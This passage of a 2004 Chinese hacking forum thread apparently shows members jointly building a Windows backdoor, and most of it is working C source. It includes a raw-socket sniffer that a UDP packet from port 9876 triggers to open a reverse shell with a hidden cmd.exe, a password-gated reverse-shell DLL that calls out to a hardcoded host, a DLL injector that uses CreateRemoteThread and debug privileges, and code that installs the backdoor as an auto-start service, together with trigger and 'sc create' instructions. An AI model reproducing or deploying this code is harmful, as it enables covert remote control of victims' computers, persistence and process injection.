extern MAINPARAMETERSTK mpStk;

extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);

所有的公共函数都在这里面.

后语:

之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.

另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.

以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop".

发送数据包是用vc的-u发送udp数据,c:/x.txt里面的内容是:

CODE

www.s8s8.net zvrop 192.168.1.2 8888

分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开

注意顺序不要颠倒.

cnhackTNT

2004-08-24 19:53:12

活活~~相比起来还是ZV兄的比较牛些
看来要动动脑子重写一个。。。

sql

2004-08-24 19:53:19

我晕。。好长的代码，够我看一会的了。。zv果然很强。。佩服五体投地。。。

cnhackTNT

2004-08-24 19:58:59

QUOTE(sql @ 2004-08-24 19:53:19)

我晕。。好长的代码，够我看一会的了。。zv果然很强。。佩服五体投地。。。

....我只会基础的c，不会c++........
哎~我还是老老实实用我的perl

2004-08-24 20:02:48

QUOTE(cnhackTNT @ 2004-08-24 19:58:59)

QUOTE(sql @ 2004-08-24 19:53:19)

我晕。。好长的代码，够我看一会的了。。zv果然很强。。佩服五体投地。。。

....我只会基础的c，不会c++........
哎~我还是老老实实用我的perl

^_^.......我的代码没有用c++,就是用c写的.之所以用cpp的后缀是为了用扩展的c(VC中如果用.c做后缀,那么默认就是ANSI的c,太别扭了).

注释是要加点,我再去修改一下..

sql

2004-08-24 20:17:44

啊～～～嘎嘎～～～～今天晚上收获不小，我在win下编程碰到的一个难题居然在Z秃代码中找到了大案，HOHO～～～～

cnhackTNT

2004-08-24 20:28:08

QUOTE(ZV @ 2004-08-24 20:02:48)

QUOTE(cnhackTNT @ 2004-08-24 19:58:59)

....我只会基础的c，不会c++........
哎~我还是老老实实用我的perl

我的意思是，只懂基础的c，同时也不懂c++,无法用c或者c++写网络程序。。。。

记忆碎片

2004-08-24 21:08:05

zv把lencher扔出来了?

weibo

2004-08-24 21:24:09

ZV的代码的确很完整。。。。这就是我推荐让ZV做框架的原因~~~哈哈

大家一起来完成剩下的功能代码。。主要框架就交给ZV~!~!~

2004-08-24 21:33:05

多个人一起写的话,还是用插件比较好,虽然会浪费一点点体积,不过兼容性最好,目前嘛,还是大家各自把代码show出来,让更多的人都参与.

to碎片:这个的确是lecher的一部分,不过我修改了很多代码,lecher相比来说更复杂点.毕竟它是dll,这个是exe.

sql

2004-08-25 11:28:49

这个方法就类似于我在上面那个linux后门里dup2函数的作用差不多。都是重定向。

记忆碎片

2004-08-25 11:36:10

斑竹研讨大会....

2004-08-25 17:34:27

都继续讨论呀,不怎么积极呢.

这里只是实现了接口和shell,那些周边部分的呢,线程插入,dll插入,服务,甚至你可以把写了驱的代码都拿出来嘛.谁来?

weibo

2004-08-26 16:14:34

又重新写了这个后门。。。。

我还有1天时间就离开北京了。。。

这可能就是我在北京写的最后一个程序.......

headerf.h

这里面放了公共函数，还有一些声明

CODE

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;

extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif

这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程.
对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
sniffer.cpp

CODE

#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
"+EasyService BackDoor/r/n"
"+Coder By weibo(wbwap@sina.com)/r/n"
"+Site http://www.s8s8.net/r/n"
"++++++++++++++++++++++++++++++++++++/r/n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
SOCKET SniffSock;
struct sockaddr_in addr;
unsigned char LocalName[256];
struct hostent * hp;
int ntime=1000;
int rec;
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
char in[20]="",out[20]="";
StartWSA();
SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
addr.sin_family = AF_INET;
addr.sin_port = INADDR_ANY;
msGetip(in,out);
addr.sin_addr.S_un.S_addr = inet_addr(out);
bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
while(1)
{
memset(rcvbuf,0,sizeof(rcvbuf));
rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
DecodeIpPack(rcvbuf,rec);

}
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
int iproto;
int iIphlen;
IP_HEADER *pIPheader;
pIPheader = (IP_HEADER *)buf;
iproto=pIPheader->proto;
iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

if (iproto == IPPROTO_UDP)
{
siSource.sin_addr.s_addr = pIPheader->sourceIP;
strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
//printf("包类型:%s/n源IP:%s ","UDP",SourceIPAddr);
DecodeUdpPack(buf+iIphlen,irec);
}

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
char str[10];
UDP_HEADER *pUdpheader;
pUdpheader=(UDP_HEADER *)buf;
siSource.sin_port = pUdpheader->uh_sport;
SourcePort=ntohs(siSource.sin_port);

//这个地方就是判断是否启动进程的地方！！！！！！！！！！！！！！！！！！！
//这里是如果塬端口为9876 才会起动木马进程。。连接你的1234断口这些都可以改
//最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
//没时间了。。。。

if(CanCon)
{
if(SourcePort == 9876)
{
StartBackDoor(&ReSock,SourceIPAddr);
}
CanCon=false;
}
}

int msGetip(char *ipin, char* ipout)
{
char cHostName[80]="";
if((gethostname(cHostName, 80)) == SOCKET_ERROR)
return false;
struct hostent *Host = gethostbyname(cHostName);
if(NULL!=Host){
struct in_addr addr;
int i = 0;
while(Host->h_addr_list[i] != NULL){
memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 10 ){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else{
if(strlen(ipout) == 0){
strcpy(ipout, inet_ntoa(addr));
}
}
i++;
}
if(strlen(ipout) == 0) {
strcpy(ipout, ipin);
}
if(strlen(ipin) == 0){
strcpy(ipin, ipout);
}
return 1;
}
return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
int rec;
//StartWSA();
SetSocketHandle(Sock);
rec = ContoReServer(Sock,1234,IPaddr);
returnMessage(Sock,WelcomeBuff);
CreatePipeInSock();
switch(rec)
{
case 0:
closesocket(ReSock);
CanCon = true;
break;
case 1:
CanCon = false;
break;
}
}

这就是服务的主体。。。。。。。

本来还有个自动加为服务的功能。。。没时间了，马上走了。收拾东西去。。~~~~ZV来写吧。。。。
可以用 CreateService()函数。。
服务这块需要大家来改进~~

con.cpp

CODE

#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
WSADATA wsa;

WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
int namelen;
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
namelen = sizeof(server_addr);
if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
return 0;
return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
*Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(*Sock == SOCKET_ERROR)
return 0;
return 1;
}

void returnMessage(SOCKET *Sock,char *msg)
{
if (strlen(msg) <= 0)
return;
send(*Sock,msg,strlen(msg),0);
}
//下面这个是重订向si到Resock....等于一个简单的管道。。
//没太多时间。为了省事。。能实现cmd.
//最好能改写成管道CreatePipe()..
//这样可以对数据进行分析。。以便加入别的控制。。。。。。
void CreatePipeInSock()
{
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}

backdoor.cpp

CODE

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服务状态给SCM
void SetStatus(DWORD dwStatus)
{
SERVICE_STATUS ss =
{
SERVICE_WIN32_OWN_PROCESS,
SERVICE_STOPPED,
SERVICE_ACCEPT_PAUSE_CONTINUE|
SERVICE_ACCEPT_STOP,
NO_ERROR,
0,
1,
5000
};
ss.dwCurrentState = dwStatus;
SetServiceStatus(g_ssh,&ss);
g_dwStatus = dwStatus;
}

//命令处理
VOID __stdcall Handler(DWORD dwCtl)
{
switch(dwCtl)
{
case SERVICE_CONTROL_STOP:
WSACleanup();
break;

default:
//nomal
break;
}
}

bool HandleControl()
{
bool bContinueRunning(true);

DWORD dwWait = WaitForMultipleObjects(
c_nEventCt,
g_arEventControl,
FALSE,
0
);
int nIndex = dwWait - WAIT_OBJECT_0;
if(nIndex>=0 && nIndex<c_nEventCt)
{
ResetEvent(g_arEventControl[nIndex]);

switch(nIndex)
{
case c_nEventIndexPause:
SetStatus(SERVICE_PAUSED);
break;
case c_nEventIndexContinue:
SetStatus(SERVICE_RUNNING);
break;
case c_nEventIndexStop:
SetStatus(SERVICE_STOP_PENDING);
bContinueRunning = false;
break;
}
}
return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

SetStatus(SERVICE_START_PENDING);
SetStatus(SERVICE_RUNNING);

while(HandleControl())
{
if(g_dwStatus == SERVICE_RUNNING)
{

StartSniffer();

}

}

for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
{
CloseHandle(g_arEventControl[nEvent]);
g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

}

SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{
SERVICE_TABLE_ENTRY arSvc[] =
{
{"ConEvent",ServiceMain},
{NULL,NULL}
};

StartServiceCtrlDispatcher(arSvc);
return 0;
}

手动加为服务

编译好后
进入cmd

运行 sc create 随便一个名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe

这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88

附件是我用bcb6写的。。。

weibo

2004-08-26 16:21:37

这是效果图

dahubaobao

2004-08-26 18:10:41

我终于可以使用CODE标签了  本来想写个线程插入的

但总是地址不对还是写个DLL比较顺手这个DLL比较

简单基本就是EXE“改”的DLL在加一个注射器就搞

定了呵呵程序还很不完善多多包含！

DLLBackConn.cpp Code:

CODE

#include <winsock2.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))

#define Port 1986 //目的端口
#define DestIP "127.0.0.1" //目的IP
#define PASSWORD "dahubaobao" //连接密码

#define PASSSUCCESS "Password success!/n"
#define PASSERROR "Password error./n"
#define BYEBYE "ByeBye!/n"

#define WSAerron WSAGetLastError()
#define erron GetLastError()

DWORD WINAPI DLLConnMain (LPVOID lpNot);

//VOID WINAPI DLLBackMain (LPVOID s);
BOOL DLLBackMain (SOCKET sock);

//extern "C" __declspec(dllexport)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
DWORD ThreadID=0;
HANDLE hThread=NULL;

switch (fwdreason)
{
case DLL_PROCESS_ATTACH:

hThread=CreateThread(NULL,0,DLLConnMain,NULL,0,&ThreadID);

if (hThread==NULL)
break;

break;

default:break;
}

return TRUE;
}

//extern "C" __declspec(dllexport)
DWORD WINAPI DLLConnMain (LPVOID lpNot)
{
while (TRUE)
{
WSADATA wsadata;
SOCKET s;
struct sockaddr_in sai;
int nRet=0;

nRet=WSAStartup(MAKEWORD(2,2),&wsadata);

if (nRet)
return 0;

sai.sin_family=AF_INET;
sai.sin_port=htons(Port);
sai.sin_addr.s_addr=inet_addr(DestIP);

s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (s==INVALID_SOCKET)
return 0;

nRet=connect(s,(struct sockaddr*)&sai,sizeof (struct sockaddr));

if (nRet!=SOCKET_ERROR)
{
DLLBackMain(s);
//CreateThread(NULL,0,DLLBackMain,(LPVOID)s,0,NULL);
Sleep(1000);
continue;
}
else
{
Sleep(1000);
continue;
}

//Sleep(1000);
}
}

//extern "C" __declspec(dllexport)
//VOID WINAPI DLLBackMain (LPVOID s)
BOOL DLLBackMain (SOCKET sock)
{
//SOCKET sock=(SOCKET)s;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR PassBuf[20]={0}; //接收密码缓冲
TCHAR PassBanner[]="/nPassword:";
TCHAR CmdSign[]="/ndahubaobao://>";
TCHAR Banner[]="---------dahubaobao backdoor---------/n";
int nRet=0;

nRet=send(sock,Banner,sizeof (Banner),0);

if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

while (TRUE)
{
nRet=send(sock,PassBanner,sizeof (PassBanner),0);

if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);

if (strnicmp(PassBuf,PASSWORD,strlen(PASSWORD))==0)
{
#ifdef DEBUGMSG
send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
#endif
break;
}
else
{
#ifdef DEBUGMSG
send(sock,PASSERROR,sizeof (PASSERROR),0);
#endif
continue;
}

if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

Sleep(100);
}

while (TRUE)
{
TCHAR MsgError[50]={0};
TCHAR Cmdline[300]={0};
TCHAR RecvBuf[1024]={0};
TCHAR SendBuf[2048]={0};
SECURITY_ATTRIBUTES sa;
DWORD bytesRead;
int ret;

sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;

if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
#ifdef DEBUGMSG
sprintf(MsgError,"CreatePipe() GetLastError reports %d/n",erron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite;
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

GetSystemDirectory(Cmdline,sizeof (Cmdline));
strcat(Cmdline,"//cmd.exe /c ");

ret=send(sock,CmdSign,sizeof (CmdSign),0);

if (ret==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);

if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
{
#ifdef DEBUGMSG
send(sock,BYEBYE,sizeof (BYEBYE),0);
#endif
goto Clean;
}

if (ret<=0)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

if (ret==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}

strncat(Cmdline,RecvBuf,sizeof (RecvBuf));

if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
#ifdef DEBUGMSG
sprintf(MsgError,"CreateProcess() GetLastError reports %d/n",erron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}

CloseHandle(hWrite);

while (TRUE)
{
if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
break;
send(sock,SendBuf,bytesRead,0);
memset(SendBuf,0,sizeof (SendBuf));
Sleep(200);
}

Sleep(200);
}

Clean:
if (hRead!=NULL)
CloseHandle(hRead);

if (hWrite!=NULL)
CloseHandle(hWrite);

if (sock!=NULL)
closesocket(sock);

WSACleanup();
return 0;
//ExitThread(0);
}

InjectDLL.cpp Code:

CODE

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define erron GetLastError()

BOOL EnablePrivilege(LPTSTR PrivilegeName);

int main (int argc, TCHAR *argv[])
{
HANDLE hProc=NULL,hThread=NULL;
LPTSTR DLLFileNameAlloc=NULL;
PTHREAD_START_ROUTINE ptsr=NULL;
TCHAR DLLBuffer[100]={0};
DWORD ThreadID=0;

if (argc!=3)
{
fprintf(stderr,"Code by dahubaobao/n"
"Usage:%s [FileName_DLL] [ProcessID]/n",argv[0]);
return 0;
}

//获取系统目录
if (!GetSystemDirectory(DLLBuffer,sizeof (DLLBuffer)))
{
#ifdef DEBUGMSG
printf("GetSystemDirectory() GetLastError reports %d/n",erron);
#endif
goto Close;
}

lstrcat(DLLBuffer,"//");
lstrcat(DLLBuffer,argv[1]);
//拼接为系统目录+DLL文件名

//把当前目录下的DLL复制到系统目录
if (!(CopyFile(argv[1],DLLBuffer,FALSE)))
{
#ifdef DEBUGMSG
printf("CopyFile() GetLastError reports %d/n",erron);
#endif
goto Close;
}

//删除当前目录下的DLL
if (!(DeleteFile(argv[1])))
{
#ifdef DEBUGMSG
printf("DeleteFile() GetLastError reports %d/n",erron);
#endif
goto Close;
}

EnablePrivilege(SE_DEBUG_NAME); //提升权限

//打开进程
hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,atol(argv[2]));

if (hProc==NULL)
{
#ifdef DEBUGMSG
printf("OpenProcess() GetLastError reports %d/n",erron);
#endif
return 0;
}

Sleep(100);

//在目标进程分配内存
DLLFileNameAlloc=(LPTSTR)VirtualAllocEx(hProc,NULL,lstrlen(DLLBuffer)+1,
MEM_COMMIT,PAGE_READWRITE);

if (DLLFileNameAlloc==NULL)
{
#ifdef DEBUGMSG
printf("VirtualAllocEx() GetLastError reports %d/n",erron);
#endif
goto Close;
}

//将DLL路径名写入进程的内存空间中
if (WriteProcessMemory(hProc,DLLFileNameAlloc,(LPVOID)DLLBuffer,lstrlen(DLLBuffer),NULL)==0)
{
#ifdef DEBUGMSG
printf("WriteProcessMemory() GetLastError reports %d/n",erron);
#endif
goto Close;
}

//计算LoadLibraryA()的地址
ptsr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")),"LoadLibraryA");

if (ptsr==NULL)
{
#ifdef DEBUGMSG
printf("GetProcAddress() GetLastError reports %d/n",erron);
#endif
goto Close;
}

//将DLL注射到进程当中
hThread=CreateRemoteThread(hProc,NULL,0,ptsr,DLLFileNameAlloc,0,&ThreadID);

if (hThread==NULL)
{
#ifdef DEBUGMSG
printf("CreateRemoteThread() GetLastError reports %d/n",erron);
#endif
goto Close;
}
else
goto Close;

Close:
if (hProc!=NULL)
CloseHandle(hProc);

if (hThread!=NULL)
CloseHandle(hThread);

return 0;

}

BOOL EnablePrivilege(LPTSTR PrivilegeName)
{
HANDLE hProc=NULL,hToken=NULL;
TOKEN_PRIVILEGES TP;
hProc=GetCurrentProcess();

if(!OpenProcessToken(hProc,TOKEN_ADJUST_PRIVILEGES,&hToken))
{
#ifdef DEBUGMSG
printf("OpenProcessToken() GetLastError reports %d/n",erron);
#endif
return FALSE;
}

if(!LookupPrivilegeValue(NULL,PrivilegeName,&TP.Privileges[0].Luid))
{
#ifdef DEBUGMSG
printf("LookupPrivilegeValue() GetLastError reports %d/n",erron);
#endif
if (hProc!=NULL)
CloseHandle(hProc);
return FALSE;
}

TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
TP.PrivilegeCount=1;

if(!AdjustTokenPrivileges(hToken,FALSE,&TP,sizeof(TP),0,0))
{
#ifdef DEBUGMSG
printf("AdjustTokenPrivileges() GetLastError reports %d/n",erron);
#endif
if (hProc!=NULL)
CloseHandle(hProc);
return FALSE;
}

if (hProc!=NULL)
CloseHandle(hProc);

if (hToken!=NULL)
CloseHandle(hToken);

return TRUE;
}

weibo

2004-08-26 19:59:52

写了一个加入服务并启动服务的模块。。。。

CODE

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//---------------------------------------------------------------------------

VOID CreateServiceAndStart(SC_HANDLE schSCManager,char* lpszName,char *lpszDisplayName,char *lpszBinaryPathName);
int main(int argc, char* argv[])
{
SC_HANDLE hSCM = OpenSCManager(
NULL,
SERVICES_ACTIVE_DATABASE,
GENERIC_ALL);

if (hSCM != NULL) CreateServiceAndStart(hSCM,"服务的名字","服务显示的名字","程序路径");else printf("Open SCManager Error!");

CloseServiceHandle(hSCM);
system("pause");
return 0;
}
//---------------------------------------------------------------------------
VOID CreateServiceAndStart(SC_HANDLE schSCManager,char* lpszName,char *lpszDisplayName,char *lpszBinaryPathName)
{
SC_HANDLE schService,hService,ServiceName;
SERVICE_STATUS ss;

schService = CreateService(
schSCManager,
lpszName,
lpszDisplayName,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
lpszBinaryPathName,
NULL,
NULL,
NULL,
NULL,
NULL);

if (schService == NULL)
printf("ERROR");
else
printf("CreateService SUCCESS./n");
CloseServiceHandle(schService);
if((ServiceName = OpenService(schSCManager,lpszName,SERVICE_ALL_ACCESS))!=NULL)
{
hService = ServiceName;
}
ControlService(hService,SERVICE_CONTROL_STOP,&ss);
StartService(hService,0,NULL);
QueryServiceStatus(hService,&ss);
if(ss.dwCurrentState == SERVICE_RUNNING) printf("Service is Running...");else printf("Start Service Error!");

CloseServiceHandle(hService);
CloseServiceHandle(ServiceName);

}